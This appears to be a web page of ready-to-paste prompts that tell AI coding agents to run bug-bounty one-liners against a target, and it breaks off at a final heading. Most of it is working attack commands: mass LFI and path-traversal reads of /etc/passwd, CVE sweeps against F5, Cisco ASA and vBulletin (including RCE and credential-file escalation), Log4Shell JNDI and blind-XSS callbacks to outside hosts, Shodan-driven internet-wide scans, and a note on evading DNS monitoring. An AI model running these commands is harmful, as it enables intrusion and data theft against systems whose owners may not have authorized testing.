Every prompt embeds a proven one-liner from awesome-oneliner-bugbounty. Paste into Claude Code, Cline, Cursor or your own agent — real recon, XSS, LFI, CVE sweeps and misconfig checks, no fluff.
Subdomains
Subdomains from crt.sh
Enumerate subdomains for $TARGET using certificate transparency. Run exactly this one-liner, replacing HOST with the target domain:
curl -s "https://crt.sh/?q=%25.HOST&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
Save the deduped list to subs.txt, then pipe it through httpx to keep only live hosts. Report total found vs total live.
Subdomains
Subdomains from VirusTotal
Pull passive subdomains for $TARGET from the VirusTotal UI API without an API key using this one-liner (replace HOST):
curl -s "https://www.virustotal.com/ui/domains/HOST/subdomains?limit=40" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
Filter the output to entries that actually end with the target domain, dedupe, and append to my scope file.
Subdomains
Subdomains from RapidDNS
Scrape the full RapidDNS subdomain table for $TARGET with this one-liner (replace HOST):
export host="HOST"; curl -s "https://rapiddns.io/subdomain/$host?full=1#result" | grep -e "<td>.*$host</td>" | grep -oP '(?<=<td>)[^<]+' | sort -u
Merge results with my existing subs.txt, dedupe with sort -u, and show me only the newly discovered hosts.
Subdomains
Subdomains from BufferOver TLS
Query BufferOver's TLS dataset for $TARGET subdomains using this exact one-liner (replace HOST):
export domain="HOST"; curl "https://tls.bufferover.run/dns?q=$domain" | jq -r .Results'[]' | rev | cut -d ',' -f1 | rev | sort -u | grep "\.$domain"
Explain each pipeline stage briefly, then run it and hand back a clean newline-separated list.
Subdomains
Subdomains from CertSpotter
Harvest subdomains for $TARGET from CertSpotter's CT log API using this one-liner (replace HOST):
curl -s "https://certspotter.com/api/v1/issuances?domain=HOST&include_subdomains=true&expand=dns_names" | jq .[].dns_names | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
Cross-reference with crt.sh output and highlight hosts appearing in only one source.
Subdomains
Subdomains from web.archive.org
Mine the Wayback Machine CDX index for every historical hostname of $TARGET with this one-liner (replace HOST):
curl -s "http://web.archive.org/cdx/search/cdx?url=*.HOST/*&output=text&fl=original&collapse=urlkey" | sed -e 's_https*://__' -e "s/\/.*//" | sort -u
Historical hosts often still resolve — resolve each with dnsx and flag the ones that answer.
Subdomains
Subdomains from JLDC Anubis
Fetch subdomains for $TARGET from the Anubis-DB API with this one-liner (replace HOST):
curl -s "https://jldc.me/anubis/subdomains/HOST" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
Combine with subfinder output, dedupe, and probe everything with httpx -silent.
Subdomains
Subdomains from SecurityTrails page
Extract subdomains for $TARGET from SecurityTrails' public apex-domain listing using this one-liner (replace HOST):
curl -s "https://securitytrails.com/list/apex_domain/HOST" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | grep ".HOST" | sort -u
This needs no API key. Compare against my scope file and list only out-of-band discoveries.
Subdomains
Subdomains from sonar.omnisint.io
Query the Rapid7 Sonar mirror at omnisint.io for $TARGET subdomains using this one-liner (replace HOST):
curl --silent https://sonar.omnisint.io/subdomains/HOST | grep -oE "[a-zA-Z0-9._-]+\.HOST" | sort -u
Sonar's reverse-DNS dataset surfaces hosts CT logs miss. Merge and dedupe into subs.txt.
Subdomains
Subdomains from synapsint
Pull subdomains for $TARGET from synapsint's unified OSINT report using this one-liner (replace HOST):
curl --silent -X POST https://synapsint.com/report.php -d "name=https%3A%2F%2FHOST" | grep -oE "[a-zA-Z0-9._-]+\.HOST" | sort -u
Append results to subs.txt and print the count of new domains added.
Subdomains
DNS-over-HTTPS subdomain brute
Bruteforce subdomains for $TARGET through Google's DNS-over-HTTPS resolver instead of raw DNS — it blends with normal traffic. Use this loop (replace HOST, FILE.txt = wordlist):
while read sub; do echo "https://dns.google.com/resolve?name=$sub.HOST&type=A&cd=true" | parallel -j100 -q curl -s -L --silent | jq -r 'select(.Answer) | .Answer[].data'; done < FILE.txt
Explain why DoH bruteforcing evades on-path DNS monitoring, and save resolved names to resolved.txt.
Subdomains
FFUF virtual-host subdomain fuzz
Fuzz subdomains of $TARGET at the DNS level with ffuf using this one-liner (replace HOST, FILE.txt = subdomain wordlist):
ffuf -u https://FUZZ.HOST -w FILE.txt -v | grep "| URL |" | awk '{print $4}'
Add calibration (-ac) so wildcard responses are auto-filtered, then probe the hits with httpx and capture title + status.
Subdomains
Live hosts funnel
Build a live-host list for $TARGET: enumerate with subfinder, keep only HTTP 200 responders, follow redirects, and dedupe. Run exactly this (replace HOST):
subfinder -d HOST -silent | httpx -silent -follow-redirects -mc 200 | cut -d '/' -f3 | sort -u
Output the final live list plus a count of hosts dropped at each stage.
Subdomains
Subdomain takeover sweep
Run a subdomain takeover check on $TARGET: enumerate with subfinder, assetfinder, and amass into one file, then test every host with subjack. Use this exact pipeline (replace HOST and FILE):
subfinder -d HOST >> FILE; assetfinder --subs-only HOST >> FILE; amass enum -norecursive -noalts -d HOST >> FILE; subjack -w FILE -t 100 -timeout 30 -ssl -c fingerprints.json -v 3 >> takeover
Summarize any dangling CNAMEs with the provider fingerprint matched (S3, GitHub Pages, Heroku, etc).
Subdomains
Subdomains from IPs with HostHunter
Reverse-lookup hostnames for a list of IP addresses using HostHunter. Run exactly this (HOSTS.txt = one IP per line):
python3 hosthunter.py HOSTS.txt > OUT.txt
Then filter OUT.txt to hostnames matching my target's root domain and check each for in-scope status.
URLs & Params
ParamSpider bulk sweep
Run ParamSpider against every domain in HOSTS.txt using this one-liner:
cat HOSTS.txt | xargs -I % python3 paramspider.py -l high -o ./OUT/% -d %
Create ./OUT if missing, then aggregate all results, count unique parameters per host, and rank the top 10 hosts by parameter surface.
URLs & Params
Extract endpoints from JavaScript
Extract every relative endpoint path hardcoded in a JavaScript file using this one-liner (FILE.js = downloaded JS bundle):
cat FILE.js | grep -oh "\"\/[a-zA-Z0-9_/?=&]*\"" | sed -e 's/^"//' -e 's/"$//' | sort -u
Prioritize endpoints containing /api/, /admin/, /internal/, /v1/, /graphql and probe each with curl for unauthenticated access.
URLs & Params
Gau custom wordlist builder
Build a target-specific fuzzing wordlist from $TARGET's own historical URLs. Run this one-liner (replace HOST):
gau HOST | unfurl -u keys | tee -a FILE1.txt; gau HOST | unfurl -u paths | tee -a FILE2.txt; sed 's#/\n#g' FILE2.txt | sort -u | tee -a FILE1.txt | sort -u
Explain why target-specific wordlists beat generic ones, then save the merged list as wordlist.txt.
URLs & Params
Wordlist from live page content
Generate a content-based wordlist from the target's live pages with this one-liner:
cat HOSTS.txt | httprobe | xargs curl | tok | tr '[:upper:]' '[:lower:]' | sort -u | tee -a FILE.txt
Tokenize page bodies, lowercase everything, dedupe, and use the result as a directory-bruteforce wordlist in ffuf.
URLs & Params
Dump URLs from sitemap.xml
Extract every URL from $TARGET's sitemap.xml with this one-liner (replace HOST):
curl -s http://HOST/sitemap.xml | xmllint --format - | grep -e 'loc' | sed -r 's|</?loc>||g'
Check for sitemap index files first (/sitemap_index.xml, /robots.txt Sitemap: entries) and recurse into nested sitemaps.
URLs & Params
Pure-bash LinkFinder
Crawl $TARGET's HTML for JS file URLs, then run LinkFinder on each to pull hidden endpoints. Use this pipeline ($1 = target URL):
curl -s $1 | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort | uniq | grep ".js" > FILE.txt; while IFS= read link; do python linkfinder.py -i "$link" -o cli; done < FILE.txt
Deduplicate endpoints and flag anything containing 'admin', 'debug', 'internal', or 'api'.
URLs & Params
Endpoints from swagger.json
Check $TARGET for an exposed Swagger/OpenAPI definition and dump every API path. Run (replace HOST):
curl -s https://HOST/v2/swagger.json | jq '.paths | keys[]'
If /v2/swagger.json 404s, try /swagger.json, /openapi.json, /api-docs, /v1/swagger.json, and /api/swagger.json. For each discovered path, extract the documented parameters and required methods.
URLs & Params
Juicy URLs from AlienVault OTX
Pull every URL AlienVault OTX has indexed for each host in HOSTS.txt using this loop:
for sub in $(cat HOSTS.txt); do gron "https://otx.alienvault.com/otxapi/indicator/hostname/url_list/$sub?limit=100&page=1" | grep "\burl\b" | gron --ungron | jq -r '."url_list"[]?."url"' | sort -u | tee -a OUT.txt; done
Filter OUT.txt for URLs with parameters and hand the list to a gf pattern scan for xss, sqli, and redirect.
URLs & Params
Parallel URL probing
Probe every URL in HOSTS.txt concurrently and tabulate status + response size using GNU parallel:
cat HOSTS.txt | parallel -j50 -q curl -w 'Status:%{http_code}\t Size:%{size_download}\t %{url_effective}\n' -o /dev/null -sk
Sort results by status code, isolate 200s and 403s, and flag responses whose size differs sharply from siblings (often hidden content).
URLs & Params
Domains hiding in CSP headers
Extract every domain referenced in $TARGET's Content-Security-Policy header — they reveal internal and third-party assets. Run (replace URL):
curl -vs URL --stderr - | awk '/^content-security-policy:/' | grep -Eo "[a-zA-Z0-9./?=_-]*" | sed -e '/\./!d' -e '/[^A-Za-z0-9._-]/d' -e 's/^\.//' | sort -u
Cross-check each domain against scope and resolve them for live hosts.
Intel
Recon.dev asset dump
Query recon.dev's aggregated bug-bounty dataset for $TARGET and immediately probe results. Run (replace HOST and apikey):
curl "https://recon.dev/api/search?key=apikey&domain=HOST" | jq -r '.[].rawDomains[]' | sed 's/ //g' | sort -u | httpx -silent
Save live hosts with titles and status codes, and diff against my existing inventory.
URLs & Params
JS secrets & variable hunter
Hunt for hardcoded variables and leaked secrets across $TARGET's JavaScript. Run this pipeline (replace HOST):
assetfinder --subs-only HOST | gau | egrep -v '(.css|.png|.jpeg|.jpg|.svg|.gif|.woff)' | while read url; do curl -s $url | grep -Eo "var [a-zA-Z0-9_]+"; done
Extend the grep to also match apiKey, token, secret, password, and AWS-style AKIA keys. Report every hit with its source URL.
XSS
Gospider → dalfox XSS chain
Run a full crawl-to-XSS pipeline against the targets in URLS.txt using this exact one-liner:
gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}' | grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt
Explain each stage (crawl → filter 200s → keep params → inject → verify). Save confirmed XSS hits with payload and URL to OUT.txt.
XSS
Wayback params → dalfox
Mine historical URLs for $TARGET, filter for likely XSS parameters, and confirm with dalfox. Run exactly this (replace HOST and the blind-XSS callback domain):
waybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b YOURS.xss.ht pipe > OUT.txt
Deduplicate by path+param before scanning, and report reflected vs blind findings separately.
XSS
Manual reflected XSS probe (no gf)
Test $TARGET for reflected XSS without any pattern library — inject a marker into every parameter and check the response for reflection. Run (replace HOST):
waybackurls HOST | grep '=' | qsreplace '"><script>alert(1)</script>' | while read host; do curl -sk --path-as-is "$host" | grep -qs "<script>alert(1)</script>" && echo "$host is vulnerable"; done
For each hit, note whether the reflection is inside an attribute, JS string, or HTML body — that determines the working payload.
XSS
postMessage / DOM XSS sink scan
Find DOM-XSS surface on every host in HOSTS.txt by locating JS files that listen for postMessage events. Run:
cat HOSTS.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")"
For each match, fetch the JS and check whether the message handler validates event.origin before using event.data in innerHTML, eval, or location.
XSS
Prototype pollution probe
Test every live host of $TARGET for client-side prototype pollution. Run this pipeline (replace HOST):
subfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' FILE.txt | page-fetch -j 'window.testparam == "exploit" ? "[VULNERABLE]" : "[NOT VULNERABLE]"'
Explain how __proto__ query injection pollutes Object.prototype in the browser, and list only VULNERABLE hosts.
LFI & Redirects
LFI mass-check with gau + gf
Test $TARGET for Local File Inclusion at scale. This one-liner collects historical URLs, filters LFI-prone params, injects /etc/passwd, and confirms on the 'root:x' marker. Run (replace HOST):
gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
For Windows targets, adapt the payload to C:\\Windows\\win.ini and the marker to '[fonts]'. List all VULN endpoints.
LFI & Redirects
Open redirect mass-check
Hunt open redirects on $TARGET by injecting your callback domain into redirect-prone parameters and checking the Location header. Run (replace URL with your domain, $1 with the target):
export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
Also try bypass payloads (//evil.com, /\\evil.com, %09/evil.com) on confirmed parameters.
LFI & Redirects
Redirect check through Burp proxy
Replay all URL-parameters from URLS.txt through a local Burp proxy so every redirect chain is inspectable. Run:
cat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null
After the run, review Burp's HTTP history for 3xx responses pointing off-domain and note which parameter controlled the Location.
CVE & RCE
CVE-2020-5902 (F5 BIG-IP) sweep
Sweep Shodan-indexed F5 BIG-IP hosts for CVE-2020-5902 (TMUI path traversal → file read / RCE). Run exactly this:
shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host; do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && echo "$host Vulnerable"; done
Only test hosts in authorized scope. Report each confirmed host with the retrieved file snippet as proof.
CVE & RCE
CVE-2020-3452 (Cisco ASA) sweep
Check every host in HOSTS.txt for CVE-2020-3452, the Cisco ASA/FTD path traversal that leaks web VPN config files. Run:
while read LINE; do curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q "Cisco" && echo "VULNERABLE $LINE"; done < HOSTS.txt
Add a NOT-VULNERABLE else-branch, and for confirmed hosts attempt reading /+CSCOE+/session_password.html as escalation proof.
CVE & RCE
CVE-2022-0378 reflected XSS check
Test targets in URLS.txt for CVE-2022-0378 (reflected XSS via the id parameter in microweber's module endpoint). Run:
cat URLS.txt | while read h; do curl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x" | grep -qs "onmouse" && echo "$h: VULNERABLE"; done
Confirm the reflection context manually in a browser before reporting, and capture a screenshot as evidence.
CVE & RCE
vBulletin 5.6.2 widget RCE sweep
Identify vBulletin 5.x instances via Shodan's favicon hash and test the widget_tabbedContainer_tab_panel unauthenticated RCE. Run:
shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host; do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && echo "$host Vulnerable"; done
Verify scope before testing. For confirmed hosts, document the phpinfo output as proof-of-execution.
Misconfig
CORS misconfiguration scan
Test every historical endpoint of $TARGET for CORS misconfiguration by reflecting an evil Origin header. Run (replace URL):
site="URL"; gau "$site" | while read url; do curl -sIH "Origin: https://evil.com" "$url" | grep -qi "access-control-allow-origin: https://evil.com" && echo "[CORS] $url"; done
For each hit also check Access-Control-Allow-Credentials: true — reflected origin + credentials is the exploitable, reportable case.
Misconfig
Hidden vhosts / admin panels via Host fuzz
Discover hidden virtual hosts and internal admin panels on $TARGET by fuzzing the Host header. Run (replace URL and FILE.txt):
ffuf -c -u URL -H "Host: FUZZ" -w FILE.txt
First calibrate with -ac or note the baseline response size, then filter out baseline matches with -fs. Investigate any hit with admin, internal, staging, dev, or jenkins in the name.
Misconfig
Port scan skipping Cloudflare
Port-scan $TARGET's origin infrastructure while excluding Cloudflare-fronted hosts. Run exactly this (replace HOST):
subfinder -silent -d HOST | filter-resolved | cf-check | sort -u | naabu -rate 40000 -silent -verify | httprobe
Explain why skipping CDN hosts matters (origin ports leak services), and report non-standard open ports with service banners.
Misconfig
Nmap XML → httpx service map
Port-scan $TARGET with nmap, parse the XML with jc, and probe only ports that speak HTTP. Run (replace HOST):
nmap -v0 HOST -oX /dev/stdout | jc --xml -p | jq -r '.nmaprun.host | (.address["@addr"] + ":" + .ports.port[]["@portid"])' | httpx --silent
Hand back a table of IP:port → HTTP status/title, and flag web servers on unusual ports (8080, 8443, 9000+).
Misconfig
ASN → IP range discovery
Map $TARGET's full IP footprint: from one known IP, find the ASN, then enumerate every announced route. Run (replace IP):
whois -h whois.radb.net -i origin -T route $(whois -h whois.radb.net IP | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -n
Explain the two whois stages (IP→ASN→routes), then sample-scan the ranges for live web services.
Misconfig
CIDR & org intel per host
For every host in HOSTS.txt, resolve A records and pull CIDR + organization from whois. Run:
for HOST in $(cat HOSTS.txt); do for ip in $(dig a $HOST +short); do whois $ip | grep -e "CIDR\|Organization" | tr -s " " | paste - -; done; done | uniq
Group hosts by CIDR to reveal the target's real network blocks, and flag any org names that indicate acquired subsidiaries.
Fuzzing
Extract IPs from any loot file
Rip every IPv4 address out of a recon loot file with this regex one-liner:
grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt
Dedupe, drop private ranges (10/8, 172.16/12, 192.168/16), and feed the rest to naabu for port discovery.
Intel
Dump in-scope assets (chaos list)
Download ProjectDiscovery's public bug-bounty program list and dump every in-scope domain. Run:
curl -sL https://raw.githubusercontent.com/projectdiscovery/public-bugbounty-programs/master/chaos-bugbounty-list.json | jq -r '.programs[].domains | to_entries | .[].value'
Filter the output to a program name I give you, and save its full domain list as scope.txt.
Intel
HackerOne in-scope targets
Pull every in-scope HackerOne asset from arkadiyt's bounty-targets dataset. Run:
curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/hackerone_data.json | jq -r '.[].targets.in_scope[] | [.asset_identifier, .asset_type] | @tsv'
Filter to asset_type WILDCARD or DOMAIN, grep for a program I name, and probe the resulting hosts with httpx.
Intel
Bugcrowd in-scope targets
Dump all in-scope Bugcrowd targets with their asset types. Run:
curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/bugcrowd_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'
Extract only web-facing targets for my chosen program and queue them for subdomain enumeration.
Intel
Intigriti in-scope targets
List every in-scope Intigriti endpoint from the bounty-targets dataset. Run:
curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/intigriti_data.json | jq -r '.[].targets.in_scope[] | [.endpoint, .type] | @tsv'
Show me the newest programs first and build a clean target list for the one I pick.
Intel
YesWeHack in-scope targets
Enumerate in-scope YesWeHack assets. Run:
curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/yeswehack_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'
Combine this with the HackerOne and Bugcrowd dumps into one master scope file, deduped by root domain.
Intel
HackenProof in-scope targets
Pull HackenProof's in-scope targets including per-target instructions. Run:
curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/hackenproof_data.json | jq -r '.[].targets.in_scope[] | [.target, .type, .instruction] | @tsv'
Highlight targets whose instruction field mentions credentials or test accounts — those programs allow deeper testing.
Subdomains
Assetfinder sweep
Enumerate subdomains for $TARGET with assetfinder. Run:
assetfinder --subs-only HOST | sort -u
Save the output to assetfinder.txt, then diff it against my existing subs.txt with comm -13 and show me only net-new hosts.
Subdomains
Subfinder passive enum
Run subfinder against $TARGET using every passive source. Execute:
subfinder -d HOST -all -silent | sort -u
Report the count per run, then resolve the list with dnsx and hand back only hosts with valid A records.
Subdomains
Amass passive intel
Perform a passive Amass enumeration on $TARGET:
amass enum -passive -d HOST -silent | sort -u
Merge with subfinder output, dedupe, and give me a table of unique sources that found each host.
Subdomains
CNAME records for takeover surface
Extract CNAME records for every live subdomain of $TARGET to map takeover surface:
cat subs.txt | dnsx -cname -resp-only -silent
Flag any CNAME pointing to known vulnerable services (Heroku, S3, GitHub Pages, Azure, Shopify) for manual verification.
Subdomains
TLS certificate SAN dump
Pull Subject Alternative Names from TLS certificates of all live $TARGET hosts:
cat subs.txt | httpx -tls-grab -json -silent | jq -r '.tls.subject_an[]?' | sort -u
Highlight SAN entries that reveal internal or staging domains not present in my current scope.
Subdomains
Reverse WHOIS pivot
Run PTR lookups across the resolved IPs of $TARGET subdomains to find sibling infrastructure:
cat subs.txt | dnsx -a -resp-only | sort -u > ips.txt; cat ips.txt | dnsx -ptr -resp-only -silent | sort -u
Filter PTR results to new domains owned by the target org and list them as pivot candidates.
URLs & Params
Wayback + gau merge
Harvest historical URLs for $TARGET from both Wayback Machine and Common Crawl:
echo HOST | waybackurls > wb.txt; echo HOST | gau --threads 5 > gau.txt; cat wb.txt gau.txt | sort -u > all-urls.txt
Report total unique URLs, then break down the count by file extension so I can pick fuzzing targets.
URLs & Params
Katana deep crawl
Crawl $TARGET with Katana including JS parsing and known files:
katana -u https://HOST -d 3 -jc -kf all -silent | sort -u
Save to katana.txt, then extract URLs with parameters using grep '=' and rank the top 20 by parameter count.
URLs & Params
Extract juicy parameters
From my collected URL list for $TARGET, isolate every unique parameterized endpoint:
cat all-urls.txt | grep "=" | sed 's/=.*//' | sort -u
Then list the distinct parameter names across the whole set with frequency counts so I know which inputs are most reused.
URLs & Params
GF hunt for interesting params
Run gf patterns over my $TARGET URL corpus to surface attack-prone parameters:
cat all-urls.txt | gf redirect | sort -u; cat all-urls.txt | gf sqli | sort -u; cat all-urls.txt | gf ssrf | sort -u
Present results grouped by vulnerability class with example URLs for each.
URLs & Params
JavaScript endpoints from JS files
Extract hidden API endpoints from $TARGET's JavaScript bundles:
cat js.txt | while read u; do echo "== $u"; curl -s "$u" | grep -oE '"/[a-zA-Z0-9_?&=/:-]*"' | sort -u; done
Filter to paths containing /api/, /v1/, /v2/ or /graphql and test each for unauthenticated access.
URLs & Params
LinkFinder on all JS
Run LinkFinder against every JavaScript file from $TARGET:
cat js.txt | xargs -I % python3 linkfinder.py -i % -o cli
Compile a deduped list of discovered endpoints, then probe each with httpx and report the ones returning 200 without auth.
URLs & Params
Wayback URLs with 200 status
Validate which archived $TARGET URLs are still alive:
echo HOST | waybackurls | httpx -silent -mc 200 -o live-old.txt
Old-but-alive endpoints often miss modern auth checks — list the oldest-looking paths (date patterns, legacy extensions) first.
URLs & Params
Extract subdomains from JS
Mine $TARGET's JavaScript for hardcoded internal domains and subdomains:
cat js.txt | xargs -I % curl -s % | grep -oE "https?://[a-zA-Z0-9.-]*\.HOST" | sort -u
Diff the result against my subs.txt and enumerate anything new with httpx.
XSS
KXSS on reflected params
Test every parameterized $TARGET URL for reflected character injection with kxss:
cat urls.txt | kxss
Show me which URLs reflect dangerous characters (< > " ') unfiltered, then rank them by number of unencoded characters.
XSS
Gospider to dalfox pipeline
Crawl my $TARGET scope with gospider and pipe parameterized URLs straight into dalfox:
gospider -S targets.txt -c 10 -d 3 --js | grep -oE "https?://\S+" | grep "=" | dalfox pipe -b YOUR.xss.ht
Summarize confirmed XSS hits with parameter name, payload, and proof URL.
XSS
Reflected XSS via qsreplace
Fuzz $TARGET XSS candidate parameters by replacing every value with a probe payload:
cat urls.txt | gf xss | qsreplace '"><img src=x onerror=alert(1)>' | freq
Report only responses where the payload appears unencoded in the body.
XSS
Dalfox single-URL deep scan
Deep-scan a single $TARGET endpoint with dalfox DOM mining and dictionary attack:
dalfox url "https://HOST/page?q=test" --mining-dom --mining-dict -b YOUR.xss.ht
Explain each finding's injection context (HTML, attribute, JS) and suggest the minimal working payload.
XSS
XSS in SVG uploads
Prepare an SVG-based stored XSS test for $TARGET file uploads:
echo '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>' > xss.svg
Upload it anywhere the app accepts images, then check whether the file is served inline (Content-Type: image/svg+xml) from the main domain. Report the serving URL and headers.
XSS
Blind XSS on all inputs
Plant blind XSS beacons across every $TARGET input that might reach an admin panel:
cat urls.txt | gf xss | qsreplace '"><script src=https://YOUR.xss.ht></script>' | httpx -silent -fr
Track which endpoints accepted the payload and note form fields (feedback, support, profile) worth manual submission.
XSS
DOM XSS source review
Statically scan $TARGET's JavaScript for DOM XSS sources and sinks:
cat js.txt | xargs -I % curl -s % | grep -nE "location\.(hash|search)|document\.URL|innerHTML|document\.write" | sort -u
Map each source to nearby sinks and tell me which flows are exploitable with a crafted URL fragment.
XSS
XSS via JSONP endpoints
Find JSONP endpoints in $TARGET's URL corpus that reflect the callback parameter:
cat all-urls.txt | grep -iE "callback|jsonp=" | sort -u
Test each with callback=alert(1)// and report any that return executable JavaScript with a scriptable content type.
LFI & Redirects
Open redirect wordlist fuzz
Test $TARGET redirect parameters by swapping values to an external domain:
cat urls.txt | gf redirect | qsreplace "https://evil.com" | httpx -silent -fr -mc 301,302,307,308
List endpoints that redirect off-domain and note which filter bypasses (//evil.com, /\/evil.com, https://HOST.evil.com) succeed.
LFI & Redirects
LFI with ffuf
Fuzz a $TARGET file parameter for local file inclusion using the classic LFI wordlist:
ffuf -u "https://HOST/page?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -mc 200
Filter false positives by response size, then confirm hits by checking for /etc/passwd content patterns.
LFI & Redirects
Path traversal quick probe
Spray traversal sequences into $TARGET file-ish parameters and match on passwd contents:
cat urls.txt | gf lfi | qsreplace "../../../../etc/passwd" | httpx -silent -mr "root:x:0:0"
Any match is a confirmed LFI — report the endpoint, working depth, and encoding variant used.
LFI & Redirects
PHP filter chain probe
Check $TARGET PHP apps for source disclosure via filter wrappers:
cat urls.txt | gf lfi | qsreplace "php://filter/convert.base64-encode/resource=index" | httpx -silent -mr "^[A-Za-z0-9+/=]{200,}"
For matches, decode the base64 and show me the leaked source snippet.
LFI & Redirects
CRLF injection sweep
Probe $TARGET redirect and header-influencing parameters for CRLF injection:
cat urls.txt | gf redirect | qsreplace "%0d%0aX-Injected:%20crlf" | httpx -silent -mr "X-Injected"
A reflected header means response splitting — flag candidates for cache-poisoning follow-up.
CVE & RCE
Nuclei full template sweep
Run nuclei with critical through medium templates against all live $TARGET hosts:
cat live.txt | nuclei -silent -severity critical,high,medium -o nuclei.txt
Deduplicate findings by template ID and give me a table sorted by severity with affected hosts.
CVE & RCE
Nuclei tech-specific templates
Detect technologies on $TARGET hosts, then run matching nuclei template packs:
cat live.txt | httpx -silent -td | grep -i wordpress | cut -d' ' -f1 | nuclei -t technologies/wordpress/ -silent
Repeat for Joomla, Drupal, and Apache stacks; report version-specific CVEs only.
CVE & RCE
Shodan CVE sweep
Query Shodan for $TARGET assets with known CVE tags:
shodan search --fields ip_str,port,hostnames "ssl:HOST vuln:cve" | sort -u
Cross-check the CVEs against public exploit availability (ExploitDB/GitHub) and prioritize accordingly.
CVE & RCE
Log4Shell header probe
Test $TARGET hosts for Log4Shell by injecting JNDI payloads into common headers:
cat live.txt | httpx -silent -H 'X-Api-Version: ${jndi:ldap://YOUR.interact.sh/a}' -H 'User-Agent: ${jndi:ldap://YOUR.interact.sh/b}'
Monitor the interactsh client and report any DNS/LDAP callbacks with the source header.
CVE & RCE
SSTI polyglot probe
Probe $TARGET template-injection candidates with a multi-engine polyglot:
cat urls.txt | gf ssti | qsreplace '{{7*7}}${7*7}<%= 7*7 %>' | freq
Any response containing 49 indicates SSTI — identify the engine from which variant evaluated.
CVE & RCE
Command injection time-based
Blind-test $TARGET RCE-prone parameters with time-based payloads:
cat urls.txt | gf rce | qsreplace ';sleep 5' | httpx -silent -rt
Endpoints consistently responding 5+ seconds slower than baseline warrant manual confirmation with an out-of-band callback.
Misconfig
Subdomain takeover with subzy
Check all $TARGET subdomains for dangling CNAME takeovers:
cat subs.txt | subzy run --hide_fails
Verify each potential hit manually by visiting the host and matching the provider's unclaimed-resource fingerprint.
Misconfig
Exposed .git hunting
Probe every live $TARGET host for exposed git repositories:
cat live.txt | sed 's#$#/.git/HEAD#' | httpx -silent -mr "ref: refs/heads" -mc 200
For hits, explain how to dump the repo with git-dumper and what secrets to grep for.
Misconfig
CORS misconfiguration scan
Test $TARGET hosts for arbitrary-origin CORS:
cat live.txt | httpx -silent -H "Origin: https://evil.com" -mr "Access-Control-Allow-Origin: https://evil.com"
Also check the null origin and subdomain-prefix bypasses; report hosts that reflect the origin AND allow credentials.
Misconfig
S3 bucket exposure
Extract S3 bucket references from $TARGET URLs and probe their permissions:
cat all-urls.txt | grep -oE '[a-zA-Z0-9.-]+\.s3\.amazonaws\.com' | sort -u | httpx -silent -mc 200,403
For 200 responses, attempt a listing; for 403, try authenticated aws cli reads. Never write — read-only verification only.
Misconfig
Security headers audit
Audit $TARGET hosts for missing security headers:
cat live.txt | httpx -silent -json | jq -r 'select(.header["content-security-policy"] == null) | .url'
Extend the check to X-Frame-Options, HSTS, and Referrer-Policy, then produce a coverage matrix per host.
Misconfig
Exposed env and config files
Probe $TARGET hosts for commonly exposed sensitive files:
cat live.txt | httpx -silent -path /.env,/.git/config,/config.json -mc 200
Match bodies for credential patterns and report file path, host, and redacted secret types found.
Fuzzing
Directory brute-force with ffuf
Brute-force directories on $TARGET with auto-calibration:
ffuf -u https://HOST/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403 -ac
Recursively fuzz any discovered admin, api, backup, or internal directories one level deep.
Fuzzing
Parameter discovery with Arjun
